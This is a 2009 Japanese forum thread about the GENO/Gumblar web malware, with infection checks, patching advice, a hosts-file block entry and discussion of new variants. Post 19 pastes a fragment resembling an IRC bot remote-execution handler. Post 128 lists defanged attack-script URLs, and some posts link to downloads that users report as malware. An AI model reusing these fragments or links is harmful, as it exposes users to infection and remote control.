09/06/22 12:15:57
■ adobe readerを最新版にアップデートする
URLﾘﾝｸ(get.adobe.com)
とりあえず最新版にしましょう。
インストール後本体をアップデートしておく事
adobe readerを開いて ヘルプ→アップデートの有無をチェック
■ adobe flashplayerを最新版に更新
URLﾘﾝｸ(www.adobe.com)
以上でGENOは防げるが亜種等のため以下推奨
■ acrobat javascriptをオフに
adobe readerを開いて メニュー→編集→環境設定→javascript→acrobat javascriptを使用のチェックを外す
■ブラウザでスクリプト使用を基本無効に設定
FirefoxにてNoscriptを利用
(Operaでflashオフでもおｋ([F12]を押す→[プラグインを有効にする]のチェックを外す)
(sleipnir、IEでも上手に設定するとなんとかなります)
優先度低
■ Vistaの人ははUACをONにする
■ hostsファイル書き換え
hostsファイルに以下の行を追加
127.0.0.1 martuz.cn
hostsファイルの在処
Windows XPの場合→「C:\WINDOWS\system32\drivers\etc」
Windows 2000の場合→「C:\WINNT\system32\drivers\etc」
Windows 95/98/MEの場合→「C:\Windows」
感染が疑わしい人は迷わずクリーンインストール推奨です。
★Anubisレポート
URLﾘﾝｸ(anubis.iseclab.org)
★GENOウイルスまとめ
URLﾘﾝｸ(www29.atwiki.jp)
2:【注意喚起】GENOチェッカーはアフィリエイトです。【危険分子】
09/06/22 12:20:43
GENOウイルスチェッカー(アフィリエイトも充実)
URLﾘﾝｸ(geno.2ch.tc)← アフィリエイト（Amazon） ↓ソース
<iframe src="p://rcm-jp.amazon.co.jp/e/cm?t=geno2chtc-22&o=9&p=8&l=as1&asins=B001RN8TWK&fc1=000000&IS2=1<1=_blank&m=amazon&lc1=
0000FF&bc1=000000&bg1=FFFFFF&f=ifr" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe>
<iframe src="p://rcm-jp.amazon.co.jp/e/cm?t=geno2chtc-22&o=9&p=8&l=as1&asins=B001F50L8U&fc1=000000&IS2=1<1=_blank&m=amazon&lc1=
0000FF&bc1=000000&bg1=FFFFFF&f=ifr" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe>
<iframe src="p://rcm-jp.amazon.co.jp/e/cm?t=geno2chtc-22&o=9&p=8&l=as1&asins=B001F50LBC&fc1=000000&IS2=1<1=_blank&m=amazon&lc1=
0000FF&bc1=000000&bg1=FFFFFF&f=ifr" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe>
<iframe src="p://rcm-jp.amazon.co.jp/e/cm?t=geno2chtc-22&o=9&p=8&l=as1&asins=B001F50L76&fc1=000000&IS2=1<1=_blank&m=amazon&lc1=
0000FF&bc1=000000&bg1=FFFFFF&f=ifr" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe>
Jane使っている人は
ツール-設定-コマンドで
コマンド名 適当
実行するコマンドに URLﾘﾝｸ(geno.2ch.tc)
でjaneから検索でチェックできる
3:名無しさん＠お腹いっぱい。
09/06/22 12:25:12
【関連スレ】
GENOウイルススレ 感染4台目
ｽﾚﾘﾝｸ(internet板)
【報告専用】同人サイト向け・GENOウィルス注意11
ｽﾚﾘﾝｸ(doujin板)
乙女＆BL＠【公式感染】GENOｳｲﾙｽ注意喚起ｽﾚ2
ｽﾚﾘﾝｸ(ggirl板)
【顧客相手に】GENOを語るスレ24【ｻｲﾊﾞｰｼﾞｪﾉｻｲﾄﾞ】
ｽﾚﾘﾝｸ(jisaku板)
4:名無しさん＠お腹いっぱい。
09/06/22 13:41:32
＿＿_
／|∧_∧|
||. (･ω･`| 次スレはここか
||oと. Ｕ|
|| |（__）Ｊ|
||／彡￣ ｶﾞﾁｬ
5:名無しさん＠お腹いっぱい。
09/06/22 13:43:09
重複
GENOウイルススレ(Gumblar,Martuz,JSRedir-R) ★22
ｽﾚﾘﾝｸ(sec板)
6:名無しさん＠お腹いっぱい。
09/06/22 13:55:56
＿＿_
／|∧_∧|
||. ( )| 部屋をまちがった
||oと. Ｕ|
|| |（__）Ｊ|
||／彡￣ ｻｻｯ
7:名無しさん＠お腹いっぱい。
09/06/22 16:10:40
GENOウイルススレ ★21
ｽﾚﾘﾝｸ(sec板)
8:名無しさん＠お腹いっぱい。
09/06/22 19:36:53
乙
9:名無しさん＠お腹いっぱい。
09/06/22 19:38:36
>>5
そのスレはテンプレ間違いすぎだし
早漏だから却下
10:名無しさん＠お腹いっぱい。
09/06/22 19:43:26
・sqlsodbc.chmを改変
・cmd.exe、regedit.exeが起動不能
・一部のアンチウイルスソフトが更新不能
・特定サイトにアクセス不能(Windows Update、アンチウイルスソフト関連サイト)
・ネットワークのトラフィックを監視、ユーザー名やパスワード等の情報を収集
・Googleの検索結果を改竄(リンクを弄る)
・explorer.exeや一部のブラウザが異常終了
・Acrobatが勝手に起動
・PDFファイルやシステムファイルが増殖
・CPU、メモリ使用率がUP
・再起動時にBSOD
感染が疑わしい人は迷わずクリーンインストール推奨です。
★Anubisレポート
URLﾘﾝｸ(anubis.iseclab.org)
★GENOウイルスまとめ
URLﾘﾝｸ(www29.atwiki.jp)
★このサイトは諸事情により内容を書き換え
11:名無しさん＠お腹いっぱい。
09/06/22 19:44:35
【感染の確認方法】
①cmd.exe（コマンドプロント）、regedit.exe（レジストリエディタ）が起動するか確認する
※このウイルスに感染しているとコマンドプロンプト、レジストリエディタが立ち上がらない。
■確認方法
１．スタートから「ファイル名を指定して実行」
２．「ファイルを指定して実行」という画面が出てくるので、入力欄に
「regedit.exe」と入力して「OK」ボタンを押す。
※立ち上がったことを確認したら弄らず閉じること。
３．同様に、「cmd.exe」（全部小文字で）と入力して「OK」ボタンを押す
※立ち上がったことを確認したら②へ
②sqlsodbc.chmのファイルサイズの確認を確認する
■Windows XP:
改ざんされていなければ
C:\WINDOWS\system32\sqlsodbc.chm 50,727 bytes
■Windows 2000:
そもそも存在しないはずなので、
C:\WINDOWS\system32\sqlsodbc.chmが無いことを確認。
■確認方法
１．スタートから「ファイル名を指定して実行」
２．「ファイルを指定して実行」という画面が出てくるので、入力欄に
「cmd.exe」（全部小文字で）と入力して「OK」ボタンを押す
→背景が黒いウィンドウが開いた場合３へ
→起動しない場合：感染疑い濃厚
３．背景が黒いウィンドウを選択。
小文字で「dir C:\WINDOWS\system32\sqlsodbc.chm」と入力してEnterキー
③avast!（無料のアンチウイルスソフト）で確認
URLﾘﾝｸ(www.btfree.info)
Code by: 790e3cc3feabad9
12:名無しさん＠お腹いっぱい。
09/06/22 19:45:25
重複
GENOウイルススレ(Gumblar,Martuz,JSRedir-R) ★22
ｽﾚﾘﾝｸ(sec板)
13:名無しさん＠お腹いっぱい。
09/06/22 19:57:05
>>12
現在の最新版は9.1.2です
何の根拠で9.1.1指定か
その表記なら常にバージョン書き換えるぐらいしてください
9.1.0でGENOは対策済みです
何で本体からアップデートさせない
javaScriptのみで完全安全ではありません
14:名無しさん＠お腹いっぱい。
09/06/22 19:59:35
重複
ｽﾚﾘﾝｸ(sec板)
15:名無しさん＠お腹いっぱい。
09/06/22 20:36:26
スパムの大部分は中国関連、米研究者が集計
URLﾘﾝｸ(www.itmedia.co.jp)
16:名無しさん＠お腹いっぱい。
09/06/22 20:44:14
sega
17:名無しさん＠お腹いっぱい。
09/06/22 21:26:39
今大変なことになっている新種のウイルス「Nine-Ball ナインボール」を検出できるのはわずかのベンダーのソフトのみ（米セキュリティ企業公表）
URLﾘﾝｸ(www.virustotal.com)
18:名無しさん＠お腹いっぱい。
09/06/22 21:29:51
バスターはスゴイ！
すごい
19:名無しさん＠お腹いっぱい。
09/06/22 21:56:53
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-
20:名無しさん＠お腹いっぱい。
09/06/22 21:57:38
GENOウイルスだと思ってブロックしてみる！
URLﾘﾝｸ(tinyurl.com)
※中身はJR東日本のHPです
21:名無しさん＠お腹いっぱい。
09/06/22 22:08:07
もういらなくね？
22:名無しさん＠お腹いっぱい。
09/06/22 22:15:03
そらそうよ
23:名無しさん＠お腹いっぱい。
09/06/23 00:12:27
アフィ中が
24:名無しさん＠お腹いっぱい。
09/06/23 02:04:33
ヨドバシのPC購入者の半分がウィルスに感染
ｽﾚﾘﾝｸ(news板)
25:名無しさん＠お腹いっぱい。
09/06/23 02:07:57
ナにこれ
26:名無しさん＠お腹いっぱい。
09/06/23 02:12:20
>>11の３はコード入れてダウンロードすると
avastのプロフェッショナルバージョンのkeygenのRARファイルと
表示されるけど無料のavastでチェックしたらマルウェアと診断された・・
Virustotalで解析しても今日現在だと半分以上が黒と診断してる
27:名無しさん＠お腹いっぱい。
09/06/23 02:17:43
オフィシャル以外からのDLは危ないね
28:名無しさん＠お腹いっぱい。
09/06/23 04:01:08
失敗
29:名無しさん＠お腹いっぱい。
09/06/23 07:35:02
>19 よう～
コード貼り付けるなよ
ノートンがぶろっくしてるじゃんボケ
30:名無しさん＠お腹いっぱい。
09/06/23 11:07:10
URLﾘﾝｸ(u9.getuploader.com)
Download Password: geno?
MD5: 4720e402afe7e098465a0a3c666cbf70
Size: 330.5 KB
-------------------------------------------------------
こんなの踏んでしまったんだが。おいらのPCは逝っちゃいますか？
Firefox3+NoScript使用
adobe flashは最新版を使用(versionは何処で見るのかわからん)
PG2+Kerio422+Avira 9で壁を立てている・・のに。
31:名無しさん＠お腹いっぱい。
09/06/23 11:47:41
>>30
URLﾘﾝｸ(www.gigabyte.co.jp)<)
32:名無しさん＠お腹いっぱい。
09/06/23 15:50:53
>>30
見てほしくないようなので見ないけど
心配ならOS入れなおせば良いよ
33:名無しさん＠お腹いっぱい。
09/06/24 00:01:08
>>26
なんで無料で使えるアンチウィルスのkeygenを貼ってるんだろうな。
こんなあからさまに釣り臭いものを貼ったバカ、それをテンプレに入れたバカ、それを気づかずに貼るバカ、みんな消えてください。
34:名無しさん＠お腹いっぱい。
09/06/24 00:02:51
プロフェッショナルは無料じゃないからに決まってるだろ
35:名無しさん＠お腹いっぱい。
09/06/24 00:04:40
そこじゃなかったか
ごめん
36:名無しさん＠お腹いっぱい。
09/06/24 00:53:13
Apacheに新たな脆弱性発見
URLﾘﾝｸ(slashdot.jp)
37:名無しさん＠お腹いっぱい。
09/06/24 02:09:33
Apacheて
38:名無しさん＠お腹いっぱい。
09/06/24 02:51:01
世の中の何割かのサイトを一気に落とせる脆弱性ですね
ってかおまいも/.が情報元かよ
39:名無しさん＠お腹いっぱい。
09/06/24 21:41:10
/.
40:名無しさん＠お腹いっぱい。
09/06/25 00:35:54
重複しねええええええええええええええええええ
セキュ板にゴミ増やすな糞
ｽﾚﾘﾝｸ(sec板)
41:名無しさん＠お腹いっぱい。
09/06/25 00:49:07
だまれ
42:名無しさん＠お腹いっぱい。
09/06/25 00:50:37
ここまで俺の自演
43:名無しさん＠お腹いっぱい。
09/06/25 04:46:09
自演ならしょうがない
44:名無しさん＠お腹いっぱい。
09/06/25 13:37:14
情強のニュー速民ならウィルスに感染した事なんかないよな .exe
ｽﾚﾘﾝｸ(news板)l50
45:名無しさん＠お腹いっぱい。
09/06/25 14:10:52
>>44 ↑w
ないよ
46:名無しさん＠お腹いっぱい。
09/06/25 18:05:49
Adobe Shockwaveに重大なセキュリティホール -- 数億人に影響
URLﾘﾝｸ(japan.zdnet.com)
一応アップデートしたほうがいいかも
47:名無しさん＠お腹いっぱい。
09/06/25 22:43:16
>>46
それ以前にインストールしてもインストール後の初回コンテンツ読み込みで、初期化中のまま止まるからどうしようもない。
AdobeはActiveXによる動的インストールを過信しすぎというか、安易に使って墓穴掘りすぎだと思うの
PDFリーダごときになぜActiveXを引っ張り出す。
48:名無しさん＠お腹いっぱい。
09/06/26 02:36:54
Shockwaveはいらん
49:名無しさん＠お腹いっぱい。
09/06/26 09:13:50
ウェブ経由のActiveX/VBScript/JavaScriptとリファラ転送はPFWで確実に拒否させているのでまったく気にならない。
50:名無しさん＠お腹いっぱい。
09/06/26 12:05:07
ほう
51:名無しさん＠お腹いっぱい。
09/06/26 12:43:25
ベンダーが対応してないころに過剰反応でクリーンインスコしたやつは負け組み？
結局実害なかったんでしょ
52:名無しさん＠お腹いっぱい。
09/06/26 14:14:31
実害無かったって誰が言ったの？
53:名無しさん＠お腹いっぱい。
09/06/26 17:45:20
こんなもん引っかかる時点で
54:名無しさん＠お腹いっぱい。
09/06/26 22:17:18
ド素人が偉そうだな
55:名無しさん＠お腹いっぱい。
09/06/27 00:08:24
>>49
XSS耐性が下がるのでリファラ転送は切らないほうが良い。
56:名無しさん＠お腹いっぱい。
09/06/27 00:20:54
>>54
やべぇ、2chにプロ登場しちゃったよ
57:名無しさん＠お腹いっぱい。
09/06/27 01:39:07
2chは自演のプロ集団
58:名無しさん＠お腹いっぱい。
09/06/27 01:42:04
>>52
GENO
59:名無しさん＠お腹いっぱい。
09/06/27 01:44:02
だからGENOウイルス
60:名無しさん＠お腹いっぱい。
09/06/27 02:41:53
URLﾘﾝｸ(110.165.41.103:888)
61:名無しさん＠お腹いっぱい。
09/06/27 02:54:13
>>56
ド素人でもド素人を批判できる
お前日本語もド素人だな
62:名無しさん＠お腹いっぱい。
09/06/27 02:57:07
だれがド素人なん
63:名無しさん＠お腹いっぱい。
09/06/27 03:06:09
おれ様
64:名無しさん＠お腹いっぱい。
09/06/27 03:15:37
貴様ら何様のつもりだよ
65:名無しさん＠お腹いっぱい。
09/06/27 03:32:59
王子様
66:名無しさん＠お腹いっぱい。
09/06/27 07:58:42
逆さま
67:名無しさん＠お腹いっぱい。
09/06/27 08:09:17
さま
68:名無しさん＠お腹いっぱい。
09/06/27 08:16:45
まさ様
69:名無しさん＠お腹いっぱい。
09/06/27 09:55:32
じーさま
70:名無しさん＠お腹いっぱい。
09/06/27 11:29:07
GENOはしんだ
71:名無しさん＠お腹いっぱい。
09/06/27 12:50:14
貴様
72:名無しさん＠お腹いっぱい。
09/06/27 15:57:52
ヨン様
73:名無しさん＠お腹いっぱい。
09/06/27 16:11:25
お子様
74:名無しさん＠お腹いっぱい。
09/06/27 17:20:36
ランチ
75:名無しさん＠お腹いっぱい。
09/06/27 18:07:10
かしこ
76:名無しさん＠お腹いっぱい。
09/06/27 22:49:45
【社会】Ａ４のコピー用紙が突然Ｂ５に変形
ｽﾚﾘﾝｸ(news7板)
77:名無しさん＠お腹いっぱい。
09/06/27 22:59:13
ニュース [私のニュース] “目指せ3000000人釣り！part67”
78:名無しさん＠お腹いっぱい。
09/06/27 22:59:46
なにこの流れｗ
79:名無しさん＠お腹いっぱい。
09/06/27 23:42:48
GENOってる
80:名無しさん＠お腹いっぱい。
09/06/28 06:50:17
GENOGENO
81:名無しさん＠お腹いっぱい。
09/06/28 09:53:53
げのげの
82:名無しさん＠お腹いっぱい。
09/06/28 09:55:12
バスターだけど、
ニコ動大百科から横のカラムに並ぶ
お勧め動画に飛ぼうとするとブロックされるわ
なんかの記述がひっかかるんだろうね
83:名無しさん＠お腹いっぱい。
09/06/28 11:01:21
>>82
>>18
マジレスするとニコ動スレかバスタースレで聞いたほうが早い
ここでバスター関連の質問しても釣り認定されるだけ
84:名無しさん＠お腹いっぱい。
09/06/28 11:04:06
バスターもニコ動も使わないから違うかもしれんけど
URLﾘﾝｸ(bbs.nicovideo.jp)
85:名無しさん＠お腹いっぱい。
09/06/28 11:26:16
もう質問する奴もそれに答える奴も
みんなまとめて逝ってよし
86:名無しさん＠お腹いっぱい。
09/06/28 11:53:37
GENOの歌が歌えなくなりますもんね（笑）
87:名無しさん＠お腹いっぱい。
09/06/28 11:57:10
バスターはスゴイ！
すごい
88:名無しさん＠お腹いっぱい。
09/06/28 12:03:16
バスターバカにすんな
89:名無しさん＠お腹いっぱい。
09/06/28 12:49:50
ＧＥＮＯって何て読むの？
ジェノ？ゲノ？
90:名無しさん＠お腹いっぱい。
09/06/28 13:07:43
ＧＥＮＯさんに聞いてくださいな
91:名無しさん＠お腹いっぱい。
09/06/28 13:11:03
GENOのサイトにはジェノって載ってる
92:名無しさん＠お腹いっぱい。
09/06/28 13:13:54
だからGENOサイト
93:名無しさん＠お腹いっぱい。
09/06/28 13:39:46
下脳だよ
94:名無しさん＠お腹いっぱい。
09/06/28 13:45:07
じぇのじぇの
95:名無しさん＠お腹いっぱい。
09/06/28 14:24:33
ジェノだけどゲノウイルスとよんでもいいよ
96:名無しさん＠お腹いっぱい。
09/06/28 15:20:45
ショップ名はジェノ
ウイルス名はゲノ
これ豆な
97:名無しさん＠お腹いっぱい。
09/06/28 15:59:02
げのげの
98:名無しさん＠お腹いっぱい。
09/06/28 16:17:24
正式名称じゃなくて通称なんだから、どっちでもいいのでは？
99:名無しさん＠お腹いっぱい。
09/06/28 16:41:15
初めて知った時、ゲオに見えてゲオのブクマ消した俺がいるお(・ω・)
100:名無しさん＠お腹いっぱい。
09/06/28 16:58:35
GEOはゲームのゲオと別の会社で地図のジェオがあるんだね
やっぱり、どっちでもいい気がするお(AA略)
101:名無しさん＠お腹いっぱい。
09/06/29 06:23:32
じぇのげの
102:名無しさん＠お腹いっぱい。
09/06/29 08:46:21
ああなんか久しぶりにX68Kのジェノサイドやりたくなってきたｗｗ
103:名無しさん＠お腹いっぱい。
09/06/30 16:15:37
【連載】GENOの歩き方 (1) 激安パソコンやPCパーツ、周辺機器を通販でラクラク入手 | パソコン | マイコミジャーナル
URLﾘﾝｸ(journal.mycom.co.jp)
104:名無しさん＠お腹いっぱい。
09/06/30 16:16:22
GENOなら豊富な在庫をオンラインで自由に比較検討
「通販ショップGENO」は、デスクトップPC、液晶一体型PC、ノートパソコン、UMPC、Macintoshといったコンピューターをはじめとして、
PCパーツ、液晶モニタやプリンタ、NASなどの周辺機器、無線LANルータやハブなどのネットワーク機器にいたるまで、
非常に多彩なジャンルの商品を揃えている。商品は基本的に新品やアウトレット品が中心だが、
他社にはない良品中古のなどの商品も数多く販売されているのがユニークだ。
なお、各商品には商品名の頭に【新品】【良品中古】【リファビッシュ】などの記述がされているため、
例えば中古品には抵抗があるけれどリファビッシュならOKという場合もすぐにお目当ての商品が見つかるだろう。
105:名無しさん＠お腹いっぱい。
09/06/30 17:06:43
リファビッシュってかっこいいよね
106:名無しさん＠お腹いっぱい。
09/06/30 18:08:43
GENOさんｷﾀ━━━(ﾟ∀ﾟ)━━━!!!!
107:名無しさん＠お腹いっぱい。
09/06/30 18:24:27
自分はGENO再度からの新参だから
GENO社に対しては特別なんのアレもないけど
>>103のリンクに、素敵な記述があったので引用させてもらおう
＞賢い買い物において肝心なのは、商品の本質をキチンと見極められるかどうかなのだ。
利用者が各自、判断すればいいんじゃないの
勃発時からの住民の皆さんの意見は、また違うかもしれない
108:名無しさん＠お腹いっぱい。
09/06/30 19:47:16
その後
URLﾘﾝｸ(www.so-net.ne.jp)
URLﾘﾝｸ(www.so-net.ne.jp)
URLﾘﾝｸ(www.so-net.ne.jp)
109:名無しさん＠お腹いっぱい。
09/07/02 11:09:11
ｽﾚﾘﾝｸ(pc板)
110:名無しさん＠お腹いっぱい。
09/07/03 23:55:30
結局GENOウィルス被害はもう終わりか
111:名無しさん＠お腹いっぱい。
09/07/05 11:32:41
結局さあ
このウイルスは何が危険なの？？
お前らが勝手に騒いでるだけじゃん
112:名無しさん＠お腹いっぱい。
09/07/05 11:49:19
>>111
GENO店員乙
113:名無しさん＠お腹いっぱい。
09/07/05 12:06:00
>>111
お前か危険じゃないと思えば危険じゃないんじゃね？
よかったじゃん
114:名無しさん＠お腹いっぱい。
09/07/05 12:28:05
wikiwikiのエラーページにgenoウイルスってほんと？
115:名無しさん＠お腹いっぱい。
09/07/05 12:38:14
何今日なんか伸びてんな
こわい
116:名無しさん＠お腹いっぱい。
09/07/05 12:41:46
>>111
＾＾＾＾＾＾＾；；；；；
117:名無しさん＠お腹いっぱい。
09/07/05 13:12:40
>>114
フラ板の某スレで、そんな書き込み見た
住民の人がカスペでスキャンして異常
なしだったみたいだから誤情報じゃない
118:名無しさん＠お腹いっぱい。
09/07/05 13:26:27
>>117
いや、誤情報じゃないね
ｽﾚﾘﾝｸ(sec板:703番)
703 名前：61[sage] 投稿日：2009/06/27(土) 09:45:04
>>699
AVIRA9 7.01.04.144
fk.pdf - HTML/Shellcode.Gen
Kaspersky 2009/06/27 8:38:00
fk.pdf -
Kaspersky提出済み。
fk.pdfの中身みるともろだわ
119:名無しさん＠お腹いっぱい。
09/07/05 13:29:39
>>114
URLﾘﾝｸ(so.7walker.net)
※ 隠しスクリプトを発見しました。(1)
fk.pdf
120:名無しさん＠お腹いっぱい。
09/07/05 13:56:02
wikiwikiって結構利用者多いんじゃね？
まーたスレが10くらい進むぞｗ
121:名無しさん＠お腹いっぱい。
09/07/05 13:59:22
いわゆるGENOみたいに難読化されたjsでは無いね
もろ誘導じゃねーか。これなら対応しやすいんじゃないの
122:名無しさん＠お腹いっぱい。
09/07/05 14:02:48
＞②sqlsodbc.chmのファイルサイズの確認を確認する
＞ ■Windows XP:
＞ 改ざんされていなければ
＞ C:\WINDOWS\system32\sqlsodbc.chm 50,727 bytes
これ日本語のOSのみ50,727 bytesって表記しとけよ
他言語のOSだと、感染してなくてもsqlsodbc.chmの容量が違う
123:名無しさん＠お腹いっぱい。
09/07/05 14:05:56
こっちは重複
↓本スレ
ｽﾚﾘﾝｸ(sec板)
124:名無しさん＠お腹いっぱい。
09/07/05 14:11:59
GENOウイルスチェッカー
危険度0%
安全なURLです。踏んでも大丈夫でしょう。
ﾌｲﾀ
125:名無しさん＠お腹いっぱい。
09/07/05 14:13:20
間違い探し
（オススメ度）（オススメ度）（オススメ度）
（オススメ度）（オススメ度）（オススメ度）
（オススメ度）（オススメ度）（オススメ度）
（オススメ度）（オススメ度）（オススメ度）
（オススメ度）（オススメ度）（オススメ度）
（オススメ度）（オススメ度）（オススメ度）
126:名無しさん＠お腹いっぱい。
09/07/05 16:12:44
>>123
そっちは無断スレ立て
前スレ500ぐらいで立てて落ちてもう一回立てたな
落ちるまでほっとけ
127:名無しさん＠お腹いっぱい。
09/07/05 16:14:11
あげあげなかんじで
128:ぷぎゃー ◆DQNpgr/GXc
09/07/05 16:22:27
wikiwikiから不正コード削除確認
hXXp://0x6EA52967:888/jp.jｓ
・・・とあと副産物↓
hXXp://1540341936:888/diｒ/dir.htｍ
129:名無しさん＠お腹いっぱい。
09/07/05 16:33:21
うぜぇ
130:名無しさん＠お腹いっぱい。
09/07/05 18:26:31
>>118
>>117です、スミマセン。訂正恐れ入ります
少なくともGENOではないのではと思ったのですが
GENOでしたか。自分が無知で浅はかでした
そのスレの方もカスペでスキャンしたわけでなく
自分の環境で問題なかったというだけでした
スレ名ぼかそうとFAKE入れて、かえって
住民の方に失礼になってしまいました
併せて お詫びいたします
131:名無しさん＠お腹いっぱい。
09/07/05 20:24:25
作った人間はもう捕まったのかねえ
132:名無しさん＠お腹いっぱい。
09/07/06 08:01:05
>>118
そのfk.PDFはGENO新種(亜種)みたい?
44 ：(*‘ω‘ *)オンライン：2009/07/06(月) 07:33:34 ID:VmXw78Zk0
Adobe Rader 最新版9.1.2にしてるのに、
そのwikiのPDFウイルス食らって、ウイルスのexe本体感染しかけた・・・
wiki見てたらいきなりコマンドプロンプトが開いて、
アンチウイルスソフトがウイルス本体(exe)検出して削除。
ググったらウイルスexe自体は去年既出のやつだったので助かったがあぶねぇ。
Adobe Reader 9.1.2に脆弱性があるってことだよね。
47 ：(*‘ω‘ *)オンライン：2009/07/06(月) 07:57:36 ID:VmXw78Zk0
>>46
いやAdobe Readerの環境設定のadobe scriptはoffにしてた。
それでも感染(exeのダウンロード開始）したんよ。
何がいいたかというと今度の脆弱性は
adobe reader9.1.2&adobe script offにしていても意味無い
新しいやつだねという話。
133:名無しさん＠お腹いっぱい。
09/07/06 08:14:06
PDF ExploitはみんなGENOなの？
亜種亜種って何を根拠に言ってたんだか
134:名無しさん＠お腹いっぱい。
09/07/06 08:18:21
ウイルスつうかpdfの中身みれば新種かどうかはわかるやつにはわかる。
そういうおまえさんこそ、何を根拠に言ってるの？
135:名無しさん＠お腹いっぱい。
09/07/06 08:24:40
（去年あたりから）アドビ製品のセキュリティ－ホールのやばさは異常
136:名無しさん＠お腹いっぱい。
09/07/06 08:26:46
とりあえず現状
URLﾘﾝｸ(www.virustotal.com)
137:名無しさん＠お腹いっぱい。
09/07/06 08:44:56
iframeに埋め込むタイプだね
URLﾘﾝｸ(www-935.ibm.com)
138:名無しさん＠お腹いっぱい。
09/07/06 09:47:06
GENOの定義わからん
139:名無しさん＠お腹いっぱい。
09/07/06 09:52:48
>>138
改竄サイトに置かれたjavascriptで攻撃サーバーに誘導しAdobe製品の脆弱性を突いて
ウィルスをダウンロードし感染させる攻撃のプロセスを持った一連のウイルス
通称 Gumblar/GENO
140:名無しさん＠お腹いっぱい。
09/07/06 12:25:45
Adobeしねよ
糞製品ばっか作りやがって
141:名無しさん＠お腹いっぱい。
09/07/06 14:51:53
Reader削除しちゃえばいい
142:名無しさん＠お腹いっぱい。
09/07/06 16:29:15
ここでの質問はスレチかな
Reader以外のpdf閲覧ツールなら大丈夫な理由は、Readerの脆弱性を突いてるからで
他の閲覧ツールなら問題のpdf開いても大丈夫ってことなんだよね。
もしAっていう閲覧ツールが、Readerの脆弱性のある機能？と同じ機能を持ってたら
当然Aで閲覧するのも危険なんだよね
143:名無しさん＠お腹いっぱい。
09/07/06 16:52:41
同じ機能にAdobeと同じ脆弱性があるかは分からない
実装が違えばない
144:名無しさん＠お腹いっぱい。
09/07/06 17:36:44
>>143
ありがとう。納得した。
145:名無しさん＠お腹いっぱい。
09/07/06 17:37:00
iframeも切っとけ
146:名無しさん＠お腹いっぱい。
09/07/06 22:54:28
reader削除（flashは有）してOSはVISAでUAC有効、ブラウザはopera（要設定）かfirefox（アドオン、設定必須）で比較的安全か
IEは8入れたらえらい事になったから通常用途では二度と使わない
2chブラウザのためにIE7は残しておく
147:名無しさん＠お腹いっぱい。
09/07/06 23:44:50
>>139
ご丁寧な解説ありがとうございます
検出名より感染プロセスで一括りに
されるということでしょうか
いずれにしろ大変 勉強になりました
148:名無しさん＠お腹いっぱい。
09/07/07 00:39:24
>>147
検出名は内部組成や亜種の生成ルートの推定から行われるもので、検出名はワクチンベンダの一存、系譜の根拠にするものではない
推定される亜種・模倣の系譜でGENOって呼んでるから、感染プロセスで適当に一括りしてるわけではない・・・はず
それに、132のレスのID:VmXw78Zk0の言い分を見るに、今までのGENOをカスタムして作られてるからこれも亜種
つっても、感染経路を拡張し、偽装方法を変更し、発症症状を変更し、踏み台を入れ替え、感染経路を新造して、亜種の亜種の亜種って続いてきただろうから、オリジナルの痕跡は残っていない可能性も有るけどな
しかし9.1.2+adobe script offでもやっぱり穴があったのか
案の定の結果だが渦中の本家に亜種としてゼロデイやられるとか、Adobe舐められ過ぎワロス
俺はOpera使いだからこそ気楽にプラグイン切り替えられるが、こんな変態ブラウザは一握りだし・・・
もうどうしようもない所まで来てるなぁ・・・
149:名無しさん＠お腹いっぱい。
09/07/07 02:22:17
>>148
Adobe以外の脆弱性もついてたみたいだからそっちかもしれないよ
150:名無しさん＠お腹いっぱい。
09/07/07 02:33:53
ウイルスに詳しい方が多いと思うので、教えてください
サイトが感染というよりも…
レンタルサーバー屋自体が、ウイルス感染したみたいなんです
(かなり有名なとこです)
これはGENOウイルスなのでしょうか?
上手く説明できないので…
詳しいことは、そのレンタルサーバーのスレッドを見て頂けたらと思います
正直、とても不安です
VALUE DOMAINってどうよ？ part33
ｽﾚﾘﾝｸ(hosting板)
151:名無しさん＠お腹いっぱい。
09/07/07 03:29:18
>>150
はい同類です
wikiwikiはこれが原因だったようです
アンチウイルスが反応なしでもPCが不安定になったなど
心当たりがある場合はOSの入れなおし推奨
心配な場合も入れなおしどうぞ
152:名無しさん＠お腹いっぱい。
09/07/07 10:27:36
>>148
やり口は似ていても、その中で GENOの系譜を継ぐものと継がざるもの
ルーツなり経緯なりで明確ではないにしろ一線を画すということでしょうか
大元をたどれば、どこに行き着くかということかもしれませんが…。
自分のような一般の人にとっては危険なことには変わりありませんので
>>134の言うとおり ＞わかるやつにはわかる でいいのかもしれませんね
可否スレの方たちが新種・亜種・別物と分析なさってくれてますし
>>130
今そのレス見ると、カスペがユーザー使用環境で対応してるか
確認の依頼だったかもしれないですね。重ね重ね失礼しました
>>149
＞Adobe以外の脆弱性
さっき、そのスレ見たら
＞既知の(パッチ済みの)脆弱性
と誰かが書き込んでました
参照URlは「Microsoft Video ActiveX コントロールの脆弱性」のページでした
153:名無しさん＠お腹いっぱい。
09/07/07 10:39:37
1つはPDF等の脆弱性を突いたもの GENO亜種
1つはActiveXの脆弱性を突いたもの ゼロデイアタック
共通点はいずれも配布元が香港
154:名無しさん＠お腹いっぱい。
09/07/07 10:54:32
前に狩りがどうの正義がどうののスレ
見たことあるけど、それもつながってるの？
155:名無しさん＠お腹いっぱい。
09/07/07 11:13:24
IE×Firefox×Opera×Safari×Chrome 最終戦争7回戦
ｽﾚﾘﾝｸ(software板:119番)
156:名無しさん＠お腹いっぱい。
09/07/07 12:05:12
>>151
ありがとうございます
自分のパソコンに関しては、とりあえずクリーンインストールをしようと思います
ただ今回、ログインページに仕掛けられてたみたいなので…
サイトのファイルを他へ移転できたとしても…
サーバーに預けてるドメインを、ログインしないと移管出来ないのがきついですね
157:名無しさん＠お腹いっぱい。
09/07/07 13:22:46
おたくのスレにあったレスを頼りに情報たどっていくと
このページに行き着くけど、恐いから直リンや止めとくわ
URLﾘﾝｸ(www)●value-domain.com/howto/?action=transfer（●は.）
一応view-source:で、おたくのスレの85-86が入ってないのは見た
ソース見れるなら自分で確認してほしい。自己責任で
158:名無しさん＠お腹いっぱい。
09/07/07 13:43:10
>>152
パッチ済みじゃないよ
